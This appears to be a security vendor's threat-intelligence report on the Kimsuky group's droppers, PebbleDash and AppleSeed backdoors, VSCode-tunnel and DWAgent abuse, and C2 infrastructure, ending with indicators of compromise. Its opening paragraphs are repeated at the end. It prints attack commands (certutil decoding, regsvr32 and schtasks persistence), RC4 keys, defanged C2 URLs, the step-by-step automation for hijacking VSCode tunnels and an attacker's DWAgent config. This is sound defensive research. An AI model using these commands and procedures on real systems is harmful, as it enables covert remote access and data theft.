Over the past few months, we have conducted an in-depth analysis of specific activity clusters of Kimsuky (aka APT43, Ruby Sleet, Black Banshee, Sparkling Pisces, Velvet Chollima, and Springtail), a prolific Korean-speaking threat actor. Our research revealed notable tactical shifts throughout multiple phases of the group’s latest campaigns.

Kimsuky has continuously introduced new malware variants based on the PebbleDash platform, a tool historically leveraged by the Lazarus Group but appropriated by Kimsuky since at least 2021. Our monitoring indicates various strategic updates to the group’s arsenal, including the use of VSCode Tunneling, Cloudflare Quick Tunnels, DWAgent, large language models (LLMs), and the Rust programming language. This expanding set of tools underscores the group’s ongoing adaptation and evolution.

Specifically, Kimsuky leveraged legitimate VSCode tunneling mechanisms to establish persistence and distributed the open-source DWAgent remote monitoring and management tool for post-exploitation activities. These activities affected various sectors in South Korea, impacting both public and private entities.

This article covers both previously undocumented attacks and a deeper technical analysis of incidents within this campaign that have been reported before — offering new insight beyond what has already been published.

Executive summary

• Kimsuky obtains initial access to target systems by delivering spear-phishing emails containing malicious attachments disguised as documents. They also contact targets via messengers in some cases.
• Kimsuky uses a variety of droppers in different formats, such as JSE, PIF, SCR, EXE, etc.
• The droppers deliver malware mainly belonging to two big clusters: PebbleDash and AppleSeed. These clusters are considered the most technically advanced in the group’s toolset. The report covers the following PebbleDash malware: HelloDoor, httpMalice, MemLoad, httpTroy. It also covers AppleSeed and HappyDoor from AppleSeed cluster.
• For post-exploitation activities Kimsuky uses legitimate tools Visual Studio Code (VSCode) and DWAgent. For VSCode, the attacker uses GitHub authentication method.
• For hosting C2 infrastructure the group mainly uses domains registered at a free South Korean hosting provider. It also occasionally relies on hacked South Korean websites and tunneling tools, such as Ngrok or VSCode.
• Kimsuky mainly targets South Korean entities. However, PebbleDash attacks were also seen in Brazil and Germany. This malware cluster focuses on defense sector, while AppleSeed most often targets government organizations.

Background

First identified by Kaspersky in 2013, Kimsuky has been active for over 10 years and is considered less technically proficient compared to other Korean-speaking APT groups. The group has targeted a wide range of entities and demonstrated capability in creating tailored spear-phishing emails. The group’s arsenal includes proprietary malware such as PebbleDash, BabyShark, AppleSeed, and RandomQuery, as well as open-source RATs like xRAT, XenoRAT, and TutRAT. This blog post examines the evolving PebbleDash-based malware (referred to as the PebbleDash cluster) and its connections to the AppleSeed-based malware (referred to as the AppleSeed cluster).

The PebbleDash and AppleSeed clusters are considered the most technically advanced in Kimsuky’s toolset. Since at least 2019, these clusters have masqueraded as legitimate documents and application installers, manifesting as JSE droppers or executables with .EXE, .SCR and .PIF extensions. Both are particularly adept at establishing backdoors and stealing information, and ongoing development of their variants has been observed. They even occasionally utilize stolen legitimate certificates from South Korean organizations to avoid detection.

AppleSeed and PebbleDash have primarily targeted the public and private sectors in South Korea. The PebbleDash cluster has shown a particular interest in the medical, military and defense industries worldwide. The PebbleDash cluster compromised Brazilian and South Korean defense organizations throughout the past several years, as well as a German defense firm. In 2024, the South Korean government released a security advisory regarding the AppleSeed cluster, detailing how the malware was distributed by replacing a security software installer required to access a construction entity’s website.

Initial access

Kimsuky meticulously crafts and delivers spear-phishing emails to its targets in an attempt to entice them into opening attachments. According to recent research, the group also occasionally approaches targets by contacting them via messengers. In all cases, the initial contact leads to the delivery of a malicious attachment disguised as a document. These attachments often consist of compressed files containing droppers in formats such as .JSE, .EXE, .PIF, or .SCR. The filenames are consistent with the message content and are meant to convince the recipient to open the attachment. The malicious files are often disguised as product quotations, job offers, information guides, surveys, government documents, and personal photos.

Here are some recently discovered examples:

Number	Filename	Filename (translated to English)	Detection date	MD5	Malware deployed
1	[별지 제8호서식] 개인정보(열람 정정삭제 처리정지) 요구서(개인정보 보호법 시행규칙).hwp.jse	Appendix Form No. 8 – Request for Access, Correction, Deletion, and Suspension of Processing of Personal Information (PIPA Enforcement Rules).hwp.jse	August 28, 2025	995a0a49ae4b244928b3f67e2bfd7a6e	HelloDoor
2	2026년 상반기 국내대학원 석사야간과정 위탁교육생 선발관련 서류.hwpx.jse	Documents for the Selection of Commissioned Students for Domestic Graduate School Master’s Evening Programs (H1 2026).hwpx.jse	December 14, 2025	52f1ff082e981cbdfd1f045c6021c63f	httpMalice
3	security_20260126.scr	–	January 26, 2026	65fc9f06de5603e2c1af9b4f288bb22c	Reger Dropper, MemLoad, httpTroy
4	노현정님.pdf.jse	Ms. Noh Hyun-jung.pdf.jse	January 28, 2026	8e15c4d4f71bdd9dbc48cd2cabc87806	AppleSeed chain
5	대국민서비스관리운영체계현장점검증적(초안).pif	On-site Inspection Evidence for the Public Service Management System (Draft).pif	February 5, 2026	8983ffa6da23e0b99ccc58c17b9788c7	Pidoc Dropper, HappyDoor

JSE droppers contain a minimum of two Base64-encoded blobs: one serving as a benign lure file and one or more containing malicious code. Additional blobs may exist within the dropper, but they are unused. The two blobs are decoded using JScript and stored in an arbitrary location on disk, such as C:\ProgramData, with the malicious filenames randomly generated according to the scheme [random]{7}.[random]{4}. The lure file is opened immediately. The malicious payload leverages powershell.exe -windowstyle hidden certutil -decode [src path] [dst path] for the second Base64 decoding before execution. Ultimately, the malicious payload is executed via command-line instructions such as regsvr32.exe /s [file path] or rundll32.exe [file path] [export function].

Reger Dropper (.SCR) and Pidoc Dropper (.PIF) also contain benign lure files and malicious payloads that, in both cases, are encrypted using XOR operations. Specifically, Reger Dropper employs a hard-coded key #RsfsetraW#@EsfesgsgAJOPj4eml;, while Pidoc Dropper utilizes single-byte XOR with 0xFF to decrypt the internal data for execution. Pidoc Dropper is fully obfuscated using dummy data and encrypted strings. Both droppers deploy files in specific directories such as %temp% or C:\ProgramData before executing the malware using regsvr32.exe.

In addition to these droppers, Kimsuky employed a variety of executable droppers, including those crafted in Go or packaged with Inno Setup.

Deployed malware

In this section, we describe several malware families recently dropped by the droppers discussed above.

HelloDoor: first Rust-based PebbleDash variant

Written in Rust, a programming language rarely used by Kimsuky, HelloDoor is a DLL-based backdoor first identified in August 2025. It is deployed via a malicious JSE dropper. Since it has limited capabilities and a simplistic communication mechanism, the backdoor is most probably in the early stages of development. Nevertheless, it is noteworthy that HelloDoor employs a C2 server hosted through TryCloudflare, a temporary tunneling service provided by Cloudflare. This service allows users to expose a local web service to the internet with no setup or account, making the infrastructure behind it difficult to trace.

HelloDoor establishes persistence upon execution by registering itself to the HKCU\Software\Microsoft\Windows\CurrentVersion\Run key with the value name tdll and the command regsvr32.exe /s [current file path].

The implant communicates with the C2 server (hxxp://female-disorder-beta-metropolitan.trycloudflare[.]com/index.php) over the HTTP protocol. Depending on whether the process is executing with an elevated token, it binds to a specific local port: 5555 if the token is elevated, or 5554 if not. Before initiating communication, it generates a unique identifier by collecting device information, such as the MAC address, computer name, and the string “windows”, then computes a hash value from this information.

The malware then constructs a query string in the format aaaaaaaaaa=2&bbbbbbbbbb=[the unique identifier]&cccccccccc=1, which is a traditional format used across the PebbleDash cluster. Subsequent server responses are Base64-decoded and then decrypted using RC4 with the key fwr3errsettwererfs. The decrypted content contains command strings. Possible commands are:

Command	Description
“mcd”	Set the current directory
“msleep”	Sleep for the provided time
“install”	Register the regsvr32.exe /s [the provided file path] command to the HKCU\Software\Microsoft\Windows\CurrentVersion\Run autorun registry using the install value name
[command]	Execute the provided command using chcp 65001 > nul & cmd /U /C [command]

Though interesting, it is no longer surprising that we found comments in the code that appear to have been generated by an LLM service rather than a human developer. This is based on traces that include emojis used for logging debugging messages.

✅ Port is now listening (no accepting)
 ❌ Port is already in use
 🔍 regsvr32.exe detected as parent. Attempting to terminate...

This is a common trait of LLM services that provides users with better visibility. We previously observed similar comments in the PowerShell-based stealer suite used by BlueNoroff. HelloDoor’s simple structure and the fact that no other Rust-based malware from the group has been discovered yet support our claim.

Even though the code is believed to have been developed using an LLM service, we still found some typos and grammatical errors, such as:

• result send fail (grammatically incorrect text)
• server request fail (grammatically incorrect text)
• command execute failed (grammatically incorrect text)
• decrytion failed (typos)
• autorum failed (typos)

It is likely that the flawed comments were added manually before or after AI was used.

httpMalice: latest backdoor variant of PebbleDash

The latest PebbleDash-based backdoor, httpMalice, emerged no later than December 2025 and is deployed by the JSE Dropper. Although we found limited direct connections to both the AppleSeed and PebbleDash clusters, the malware is closer to PebbleDash. The following shared characteristics have been identified:

• (PebbleDash cluster) Ability to run commands received from the C2 server with the S-1-12-12288 SID, indicating a high integrity level – a feature also observed in PebbleDash and httpTroy.
• (PebbleDash cluster) Unique identifier generated by combining the volume serial number of the root directory with the elevation status of the current token, mirroring a technique used since the appearance of NikiDoor.
• (PebbleDash cluster) Communication with its C2 server utilizing three HTTP parameters, consistent with other PebbleDash-based families.
• (PebbleDash cluster) Core command set more closely aligned with PebbleDash than with AppleSeed-based malware.
• (AppleSeed cluster) Use of the m= parameter in C2 communication.
• (AppleSeed cluster) Gathering system details using PowerShell and Windows commands similar to those found in AppleSeed and Troll Stealer.

Our analysis revealed two distinct versions of httpMalice based on their C2 communications: version 1.9 communicates over HTTP and version 1.8 uses Dropbox. The latter, the older variant, leverages the Dropbox API by utilizing pre-defined application credentials. Unlike its predecessor, the HTTP variant employs HTTP/HTTPS protocols to interact with its C2 server and maintains persistent access to the victim device through a Windows service named CacheDB. This mirrors tactics observed in similar threats, such as httpSpy.

The more recent variant gathers critical information from the compromised system, such as the current directory path, volume serial numbers, user privileges, username, local IP address, and the name and size of the currently executed httpMalice DLL file. It then combines the root drive’s volume serial number with the user’s access token privilege level to create a unique identifier for each infected system, formatted as [volume serial]{8}_[elevation status].

Value of elevation status	Description
0	Running under the SYSTEM account with an elevated token
1	Running under an elevated administrator account
2	Running without elevation

Depending on the token privilege, the backdoor then establishes persistence by either creating a service or registering itself to autostart at user logon. If the token is elevated, a service named CacheDB is created that executes the command cmd.exe /c “rundll32.exe [current DLL path], load”. The service’s display name is set to Administrator, and its description is defined as CacheDB Service. If the token is not elevated, the backdoor registers the same command under the registry key HKCU\Software\Microsoft\Windows\CurrentVersion\Run with the value name Everything 1.9a-[filesize]. The older version used Everything 1.8a-[filesize] as a value name.

The latest version can execute a combination of Windows commands by default to perform host profiling, while the older version fetches the command set from Dropbox. In httpMalice, commands are mostly executed using the format cmd.exe /c chcp 949 [command] > [temporary filename], which redirects the output to separate files, with the consistent prefix 2Ato6478s added to their names. The chcp 949 command changes the code page to 949, indicating that the malware targets users of the Korean language (EUC-KR charset).

httpMalice transmits the result of host profiling to its C2 server as a URL parameter, using the POST method over the HTTP/HTTPS protocol, with the header x-www-form-urlencoded. The URL includes two or three parameters: operation mode, unique identifier (referred to as UID), and data. The operation mode, or parameter m, supports the following values:

Value	Description
1	Send the session identifier (parameter s) along with the current state (parameter a)
2	Request command
3	Send result after executing the command (parameter d)
8	Request directory to be archived and sent
9	Send the archived directory
10	Send a message like “.cmd” or “.tmp” (parameter d)
11	Send ping
12	Send the captured screenshot (parameter d)
13	Send the infected device information (parameter d)

As shown in the table above, the mode is set to 13 at the host profiling stage. The UID is formatted as [volume serial]{8}_[elevation status], and the data contains the ChaCha20-encrypted and Base64-encoded output of the command set stored in the temporary file. The resulting URL format is: m=13&u=[volume serial]{8}_[elevation status]&d=[Chacha20 encrypted + Base64-encoded data to be sent].

The key and nonce used for ChaCha20 encryption are derived from the pointer address of the buffer, resulting in nearly randomized keys. To ensure proper decryption on the attacker side, the nonce and key values are appended after the encrypted data, and the combined blob is then Base64-encoded. The counter is initialized to 0. The following figure illustrates how the encrypted data is structured after performing Base64 decoding.

After sending the host profiling data, the backdoor continuously transmits a screen capture with mode 12 and a ping message with mode 11. Finally, it sends a session identifier, which is a combination of the current username and local IP address separated by an ‘@’ symbol. In this case, the mode is set to 1 and the a parameter (current state) is set to 0, indicating that the C2 operation has been activated. The following table provides other possible values of the a parameter:

Value	Description
0	httpMalice has been activated
1	httpMalice has been inactivated (upon command 9)
2	httpMalice has been removed (upon command 8)

The whole process from sending the host profile to the backdoor activation repeats every two minutes until the C2 server returns a “success!” message.

When the backdoor receives the message from the C2 server, it creates two threads dedicated to processing commands and sending the current state, including the session identifier. The first thread receives a command from the C2 server. It requests a command by sending mode 2 and, if successful, immediately sends mode 10 along with the string “.cmd” in the d parameter.

The commands supported by httpMalice are as follows:

Command	Description
0	Do nothing
1	Execute the command with EUC-KR encoding
2	Download and extract the file to the infected device
3	Upload a directory to the C2 server after it has been archived
5	Get the current directory
6	Set the current directory
7	Execute the command without setting a EUC-KR character set
8	Remove its persistence traces and exit the process
9	Hibernate
10	Execute the command using the provided session ID
12	Capture the screen
13	Load the downloaded payload into memory

MemLoad downloads httpTroy

Since early 2025, we have observed several versions of MemLoad; specifically, MemLoad V2 emerged in March, and V3 appeared by September. The payload that began being deployed through the Reger Dropper this year has been identified as an updated variant of MemLoad, slightly modified from the V3 version (referred to internally as MemLoader.dll).

Kimsuky leverages MemLoad to evade detection of its final backdoor and to carefully assess the value of targeted systems through anti-VM checks and reconnaissance. Upon installation, it requests an additional payload from the C2 server, executing it reflectively in memory if deemed suitable. Notably, all versions of MemLoad V2 and later use the same RC4 key.

Below are the key operations of MemLoad:

1. Creates a flag file. Creates a file containing a random eight-character string from the set 0123456789abcdefABCDEF with another random eight-character string as the name and “.dat.cfg” extension at the current file path.
2. Generates an ID. Generates an ID value by adding either ‘A-‘ or ‘U-‘ to the beginning of the random bytes. The choice of symbol is determined by attempting to create a random file in the C:\Windows\system32 directory. If successful, the ID starts with ‘A-‘ (indicating administrative privileges); otherwise, it starts with ‘U-‘.
3. Persistence via a scheduled task. Checks for the existence of the .dat.cfg file, and if confirmed, a scheduled task is set up for persistence. The task name is determined by whether the process is running with elevated privileges. If elevated, the task is named ChromeCheck, and the command schtasks /create /tn <task name> /tr "regsvr32 /s <current file path>" /sc minute /mo 1 /rl highest /f is executed. Otherwise, the task is named EdgeCheck, and the command schtasks /create /tn <task name> /tr "regsvr32 /s <current file path>" /sc minute /mo 1 /f is executed.
4. C2 communication and payload download. Requests an additional payload from its C2 server, with the header Authorization: Bearer {ID} or X-Browser-Validation: {ID} for authentication. The ID is set to the previously generated ID value.
5. Payload decryption and execution. Once the download is successful, the payload is decrypted using the RC4 algorithm with the key #RsfsetraW#@EsfesgsgAJOPj4eml;. The decrypted payload is then reflectively loaded into memory, and its hello export function is invoked.

The payload downloaded and executed by MemLoad is identified as the httpTroy backdoor. This backdoor serves as the primary role for long-term access and data exfiltration. Similar to MemLoad, it employs stealth techniques by creating a flag file and writing eight random bytes to it. However, in this case the file is created at [current file path]:HUI in the ADS (Alternative Data Stream) area. The backdoor then checks its privileges to determine if it is elevated and assigns an ID value in the format A-[random-8-chars] or U-[random-8-chars].

Since Gen Digital covers httpTroy’s features and functionality in detail elsewhere, we will not provide a thorough explanation here to avoid redundancy. Instead, we will simply note that it communicates with the C2 server at hxxps://file.bigcloud.n-e[.]kr/index.php.

AppleSeed

AppleSeed first appeared in 2019 and reached version 3.0. However, we now only see version 2.1. It originally consisted of two components: a dropper and the main AppleSeed. Since 2022, the updated AppleSeed chain has involved two droppers, an additional component referred to as the installer, and the main payload. It is mostly delivered through JSE Dropper.

There are two versions of the main AppleSeed: Dropper and Spy. The Dropper variant is responsible for downloading additional malware and executing commands received from its C2 server, while the Spy version gathers sensitive information such as documents, screenshots, keystrokes, and lists of USB drives. A notable change in version 2.1 is the inclusion, since 2022, of collecting the C:\GPKI directory – functionality that is also implemented in Troll Stealer. This directory contains a digital certificate used by the South Korean government to securely authenticate public officials and government systems.

HappyDoor

HappyDoor, an AppleSeed-based backdoor malware disclosed by AhnLab in 2024, is less visible than AppleSeed. HappyDoor shares several features with AppleSeed, including the same string obfuscation algorithm, the data types it collects, and the use of RSA encryption. Given these similarities, we assess with medium confidence that HappyDoor is an advanced variant evolved from AppleSeed.

Post-exploitation

We observed interesting post-exploitation activities involving VSCode and DWAgent. All of the observed VSCode droppers used the same lure files as the PebbleDash malware cluster. While we are unsure of the exact reason for this strategy, we suspect that the actor prepared both PebbleDash and VSCode droppers in anticipation of the PebbleDash infection chain being detected by security products because of its backdoor capabilities. In contrast, the use of VSCode is designed to have fewer detection points.

VSCode (launched by the JSE dropper)

Since last year, Kimsuky has been leveraging the legitimate Visual Studio Code Remote Tunneling feature to establish covert remote access to the victim’s device, bypassing detection designed for traditional malware-based C2 channels (first described by Darktrace researchers). In these attacks, instead of dropping malware, the JSE dropper downloads a legitimate Visual Studio Code (VSCode) CLI onto the infected device. The script establishes persistence by creating a tunnel via the application, with the tunnel name “bizeugene”, using the command below.

The Remote Tunneling feature in VSCode supports establishing a tunnel using either a Microsoft or GitHub account. When the code tunnel command is executed, the CLI initiates an authentication flow and returns a login URL along with a device code. The user must then navigate to the URL, enter the device code, and authenticate with their account. Once authentication is successful, the tunnel is created and the CLI outputs a URL for tunneling that enables browser-based access to the remote host.

The GitHub authentication method is selected in this instance because GitHub is configured as the default provider in non-interactive execution contexts. By using echo |, the script injects a \r\n (Carriage Return and Line Feed) into the standard input stream, effectively confirming the default prompt selection without manual interaction. As a result, the CLI automatically initiates the GitHub authentication flow. Next, all CLI output that includes a login URL and a device code is saved to out.txt.

The JScript code in the JSE dropper monitors the out.txt file for a URL that begins with hxxps://vscode[.]dev/tunnel. This URL contains the full address of the established tunnel. Once detected, the file content containing the URL and the device code is sent to a compromised legitimate South Korean website (hxxps://www.yespp.co[.]kr/common/include/code/out[.]php) using the HTTP POST method. The request contains the file contents in the application/x-www-form-urlencoded header data formatted as out=URLencoded{result of the command}&token=URLencoded{"bizeugene"}. After authentication is complete, the attacker can access the compromised host externally through a web browser by authenticating with their own GitHub account.

VSCode (launched by VSCode installer)

While searching our telemetry for artifacts related to a different infection, we identified a new VSCode tunnel installer written in Go. A previous version of this installer was implemented using JScript and was limited to secure channels because of its reliance on a specific tunnel name. The new variant, named vscode_payload by the developer based on the embedded Go path, is fully operational and supports every tunnel on each targeted device. It includes features that are nearly identical to those of the previous version, such as downloading, unarchiving, and executing the VSCode CLI.

Number	Installer type	VSCode version	Download source
1	Written in JScript	VSCode CLI 1.106.3	hxxps://vscode.download.prss.microsoft[.]com/dbazure/download/stable/bf9252a2fb45be6893dd8870c0bf37e2e1766d61/vscode_cli_win32_x64_cli[.]zip
2	Written in Go	VSCode CLI 1.106.2	hxxps://vscode.download.prss.microsoft[.]com/dbazure/download/stable/1e3c50d64110be466c0b4a45222e81d2c9352888/vscode_cli_win32_x64_cli[.]zip

After the VSCode CLI file has been successfully downloaded, it is unzipped into the C:\Users\Public directory, and the extracted code.exe is executed with the tunnel command.

This is how the installer works:

1. Executes code.exe tunnel.
2. Searches for the “Microsoft Account” string in the stdout.
3. Sends the 0x1B 0x5B 0x42 (Down Arrow) and 0x0A (Enter) escape sequence to the pseudo-terminal, which enables tunnel creation via a GitHub account.
4. Searches for the “use code” string in the stdout.
5. Sends the printed code for authentication, prepended with the “hxxps://github[.]com/login/device” => prefix. The attacker authorizes Visual Studio Code with the logged-in GitHub account using the printed code.
6. Searches for the “What would you like to call this machine?” string in the stdout.
7. Sends the 0x0A escape sequence to the pseudo-terminal to use the current machine name as the identifier.
8. Searches for the “https://vscode.dev/tunnel/” string in the stdout.
9. Sends the printed URL for tunneling to the Slack WebHook.

The following figure illustrates the sequence for creating a tunnel using the VSCode CLI. Red boxes highlight the strings that the installer searches for. Yellow boxes indicate standard input operations sent from the installer using escape sequences. Sky blue boxes represent the values that are necessary to create the tunnel on the attacker’s side. (The “Microsoft Account” string in the second step is not shown in this figure because the second “GitHub Account” was already selected during the process.)

Once the process is complete, the attacker can access the targeted host through the tunnel on their remote machine using their GitHub account via a browser or VSCode. The targeted device then begins communicating with Microsoft-owned servers without the user realizing that the communication is from an attacker.

An interesting feature of this variant is that it sends debugging messages and necessary values to a Slack channel via a WebHook. Upon execution, it sends "+++ I am started +++", as well as a heartbeat message "~~~ I am alive ~~~" approximately every second during tunneling authentication.

DWAgent

DWAgent is a remote administration tool that is frequently exploited by threat actors, including ransomware and APT groups, to easily access compromised endpoints with minimal risk of detection. Kimsuky is one of the threat actors that uses this tool in its operations.

We observed that the group delivered DWAgent in at least two ways. The first involved delivering a compressed file containing DWAgent, along with separate commands, to a host infected with httpMalice for installation. The second method involved creating a separate installer.

This installer is very similar to the Reger Dropper. It uses the same RC4 key and has a similar code structure. It includes an archived binary and a legitimate unrar.exe binary, both encrypted with RC4. When executed, the installer decrypts the archived binary and saves it as 1.zip in the C:\ProgramData directory. It also creates an unrar.exe file in the same location using the decrypted unrar.exe binary. The dropper then uses the command C:\programdata\unrar.exe x C:\programdata\1.zip C:\programdata\ to extract the contents of the ZIP file. Finally, it executes the commands necessary to install DWService as a service on the target host:

• c:\programdata\dwagent\native\dwagsvc.exe installService
• c:\programdata\dwagent\native\dwagsvc.exe startService

The compressed file contains a pre-packaged, ready-to-use DWAgent, as well as a predefined config file. The actor deployed the agent with a config.json file linked to their own account to covertly control the device. As a result, the remote session is immediately activated by the above command, granting the attacker control.

The predefined config file is as follows. Note that the servers are legitimate DWAgent relay servers.

{
 "enabled": true,
 "key": "kDRNGmWGTMpjQmREgQzU",
 "listen_port": 7950,
 "nodes": [
  {
   "id": "ND896147",
   "port": "443",
   "server": "node896147.dwservice[.]net"
  },
  {
   "id": "ND828765",
   "port": "443",
   "server": "node828765.dwservice[.]net"
  },
  {
   "id": "ND484265",
   "port": "443",
   "server": "node484265.dwservice[.]net"
  }
 ],
 "password": "eJwrynEqD0r294twTXLKCHWqDPLPCql0Kg/JDqpIdk4HAKYMCso=",
 "url_primary": "hxxps://www.dwservice[.]net/"
}

Infrastructure

For years, Kimsuky has relied heavily on the South Korea-based free domain hosting service 내도메인[.]한국 (pronounced as “naedomain[.]hankook) to mimic legitimate sites with domains like .p-e.kr, .o-r.kr, .n-e.kr, .r-e.kr, and .kro.kr. This service has been utilized to create C2 servers for PebbleDash and AppleSeed clusters, and the background infrastructures have been mostly resolved to the virtual private servers belonging to InterServer. It has also been noted that many other malicious actors have exploited this free domain hosting service, so it alone cannot be considered proof of a connection to Kimsuky.

The actor also occasionally exploits South Korean websites as C2 servers to evade network-IoC-based detection and increase the success rate of attacks. Furthermore, they actively leverage tunneling services such as Cloudflare Quick Tunnels, VSCode Tunneling, and Ngrok to hide their infrastructure. These traits are mostly observed across the PebbleDash cluster.

Victims

We identified multiple infection logs uploaded to the Dropbox storage used for httpMalice’s C2 server. They were analyzed as having been stolen from infected systems across various organizations or individuals in South Korea. Notably, each victim’s folder contained a user.txt file with detailed information such as target details, the presence of something named “http” (possibly a backdoor, such as httpTroy or httpMalice), DWAgent existence, and relationships between infected devices and targets. While we could not verify the exact creation process of these files, they were likely created manually by attackers to manage victims using Korean words.

Below you can see an example of this type of file content. In this context, “장악” means “take over” and “있음” means “exists”.

[Target's name] [Description] [Infection date] 장악, http 있음, DWService 있음.

While both clusters have mainly focused on targeting the private and public sectors in South Korea, the AppleSeed malware cluster shows more interest in government entities. The PebbleDash cluster has also shown particular interest in the defense sector worldwide.

Attribution

Over the past few years, we have observed two clusters using overlapping distribution methods – JSE, EXE, SCR, and PIF droppers. The targets are also increasingly aligning. Furthermore, we noted that several samples from both malware clusters were signed with the same stolen certificate and used identical mutex patterns. These findings suggest that a single actor is likely controlling both clusters and has the capability to modify code as needed. This concept was also described in another research paper at the Virus Bulletin conference.

Since its emergence, AppleSeed has been linked to Kimsuky operations, with each variant showing ties to the group. Since 2021, PebbleDash has been found exclusively in Kimsuky attacks. Based on our analysis of targets, infrastructure, and malware characteristics, we assess with medium-high confidence that attacks associated with these malware families are conducted by Kimsuky-affiliated clusters.

These two clusters share technical links to the threat actor known as Ruby Sleet, one of the names Microsoft uses for Kimsuky activity. In previous reports, Mandiant also referred to these clusters as Cerium, but now they appear to consider them part of the broader APT43 designation – another name for Kimsuky.

Conclusion

Our analysis shows that the actor retains access to the original source code of the malware clusters and the ability to modify it. Over time, malware undergoes updates and modifications, sometimes being repurposed or reused by other actors. Although analyzing malware may seem repetitive and time-consuming, understanding how these tools evolve helps us grasp the threat actor’s changing tactics.

Two clusters have overlapping target sectors that span the defense, military, government, medical, machinery, and energy industries. The AppleSeed cluster is shifting its focus to data exfiltration, and GPKI certificate extraction has become a signature capability. Meanwhile, the PebbleDash cluster demonstrates advanced remote control capabilities and an expanding set of targets.

Although AI may offer full automation for some attacks, many groups stick with the tools and strategies they have used for years. Structuring a fully automated attack is not trivial. Despite ongoing changes, we will continue to track advanced threat actors by comprehensively considering malware, initial vectors, targets, post-exploitation activities, and ultimate goals.

Indicators of compromise

File hashes

JSE Dropper
995a0a49ae4b244928b3f67e2bfd7a6e         [별지 제8호서식] 개인정보(열람 정정삭제 처리정지) 요구서(개인정보 보호법 시행규칙).hwp.jse
52f1ff082e981cbdfd1f045c6021c63f             2026년 상반기 국내대학원 석사야간과정 위탁교육생 선발관련 서류.hwpx.jse
9fe43e08c8f446554340f972dac8a68c          2026년 상반기 국내대학원 석사야간과정 위탁교육생 선발관련 서류 (1).hwpx.jse
8e15c4d4f71bdd9dbc48cd2cabc87806         노현정님.pdf.jse

Reger Dropper
65fc9f06de5603e2c1af9b4f288bb22c                       security_20260126.scr
c19aeaedbbfc4e029f7e9bdface495b9                      secu.scr

Pidoc Dropper
8983ffa6da23e0b99ccc58c17b9788c7                      대국민서비스관리운영체계_현장점검_증적(초안).pif

AppleSeed (Dropper)
a7f0a18ac87e982d6f32f7a715e12532
f4465403f9693939fe9c439f0ab33610
5c373c2116ab4a615e622f577e22e9be

HappyDoor
d1ec20144c83bba921243e72c517da5e

MemLoad
58ac2f65e335922be3f60e57099dc8a3
f73ba062116ea9f37d072aa41c7f5108          jhsakqvv.dat

httpTroy
7e0825019d0de0c1c4a1673f94043ddb        c:\programdata\config.db

httpMalice
08160acf08fccecde7b34090db18b321
94faed9af49c98a89c8acc55e97276c9

HelloDoor
c42ae004badddd3017adadbdd1421e00

VSCode Tunnel installer
9ca5f93a732f404bbb2cee848f5bbda0                      xipbkmaw.exe

DWAgent installer
678fb1a87af525c33ba2492552d5c0e2

Domains and IPs

opedromos1.r-e[.]kr                            C2 of AppleSeed
morames.r-e[.]kr                                 C2 of AppleSeed
load.ssangyongcne.o-r[.]kr                 C2 of MemLoad
load.yju.o-r[.]kr                                   C2 of MemLoad
attach.docucloud.o-r[.]kr                    C2 of MemLoad
load.supershop.o-r[.]kr                       C2 of MemLoad
load.erasecloud.n-e[.]kr                     C2 of MemLoad

cms.spaceyou.o-r[.]kr                         C2 of HappyDoor
erp.spaceme.p-e[.]kr                          C2 of HappyDoor

file.bigcloud.n-e[.]kr                            C2 of httpTroy
load.auraria[.]org                                C2 of httpTroy

female-disorder-beta-metropolitan.trycloudflare[.]com         C2 of HelloDoor
hxxps://www.pyrotech.co[.]kr/common/include/tech/default.php      C2 of httpMalice
hxxp://newjo-imd[.]com/common/include/library/default.php            C2 of httpMalice
hxxps://www.yespp.co[.]kr/common/include/code/out.php               VSCode Tunneling using JScript

Over the past few months, we have conducted an in-depth analysis of specific activity clusters of Kimsuky (aka APT43, Ruby Sleet, Black Banshee, Sparkling Pisces, Velvet Chollima, and Springtail), a prolific Korean-speaking threat actor. Our research revealed notable tactical shifts throughout multiple phases of the group’s latest campaigns.

Kimsuky has continuously introduced new malware variants based on the PebbleDash platform, a tool historically leveraged by the Lazarus Group but appropriated by Kimsuky since at least 2021. Our monitoring indicates various strategic updates to the group’s arsenal, including the use of VSCode Tunneling, Cloudflare Quick Tunnels, DWAgent, large language models (LLMs), and the Rust programming language. This expanding set of tools underscores the group’s ongoing adaptation and evolution.

Specifically, Kimsuky leveraged legitimate VSCode tunneling mechanisms to establish persistence and distributed the open-source DWAgent remote monitoring and management tool for post-exploitation activities. These activities affected various sectors in South Korea, impacting both public and private entities.

This article covers both previously undocumented attacks and a deeper technical analysis of incidents within this campaign that have been reported before — offering new insight beyond what has already been published.

Executive summary

• Kimsuky obtains initial access to target systems by delivering spear-phishing emails containing malicious attachments disguised as documents. They also contact targets via messengers in some cases.
• Kimsuky uses a variety of droppers in different formats, such as JSE, PIF, SCR, EXE, etc.
• The droppers deliver malware mainly belonging to two big clusters: PebbleDash and AppleSeed. These clusters are considered the most technically advanced in the group’s toolset. The report covers the following PebbleDash malware: HelloDoor, httpMalice, MemLoad, httpTroy. It also covers AppleSeed and HappyDoor from AppleSeed cluster.
• For post-exploitation activities Kimsuky uses legitimate tools Visual Studio Code (VSCode) and DWAgent. For VSCode, the attacker uses GitHub authentication method.
• For hosting C2 infrastructure the group mainly uses domains registered at a free South Korean hosting provider. It also occasionally relies on hacked South Korean websites and tunneling tools, such as Ngrok or VSCode.
• Kimsuky mainly targets South Korean entities. However, PebbleDash attacks were also seen in Brazil and Germany. This malware cluster focuses on defense sector, while AppleSeed most often targets government organizations.

Background

First identified by Kaspersky in 2013, Kimsuky has been active for over 10 years and is considered less technically proficient compared to other Korean-speaking APT groups. The group has targeted a wide range of entities and demonstrated capability in creating tailored spear-phishing emails. The group’s arsenal includes proprietary malware such as PebbleDash, BabyShark, AppleSeed, and RandomQuery, as well as open-source RATs like xRAT, XenoRAT, and TutRAT. This blog post examines the evolving PebbleDash-based malware (referred to as the PebbleDash cluster) and its connections to the AppleSeed-based malware (referred to as the AppleSeed cluster).

The PebbleDash and AppleSeed clusters are considered the most technically advanced in Kimsuky’s toolset. Since at least 2019, these clusters have masqueraded as legitimate documents and application installers, manifesting as JSE droppers or executables with .EXE, .SCR and .PIF extensions. Both are particularly adept at establishing backdoors and stealing information, and ongoing development of their variants has been observed. They even occasionally utilize stolen legitimate certificates from South Korean organizations to avoid detection.

